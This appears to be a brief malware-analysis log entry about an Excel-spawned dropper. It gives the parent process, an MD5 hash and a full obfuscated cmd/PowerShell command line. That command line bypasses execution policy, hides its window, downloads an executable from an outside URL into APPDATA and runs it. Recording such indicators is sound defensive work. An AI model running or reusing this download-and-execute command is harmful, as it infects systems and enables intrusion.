malwareDropperfromExcel

C:\WINDOWS\system32\cmd.exe
  Parentname:  C:\Program Files\Office\OFFICE11\EXCEL.EXE
  Command Line:  CmD.exE /C "POW^Ers^hE^Ll.^exe -^E^X^e^c^u^TIOnPOl^icy^ bY^pASs ^-^NopRo^fI^l^E ^-^windOwSTYlE ^H^iD^D^En ^(new-obJEC^t sYste^M.^ne^t^.WE^Bcli^E^nT).^d^O^wN^LO^A^dfI^le('http://ltmp.asianetwork.pl/file/hon.vfr','%aPpDATa%.EXE');StAr^T-^pR^OCEs^s ^'%APpDATa%.eXE'"
MD5:  6d778e0f95447e6546553eeea709d03c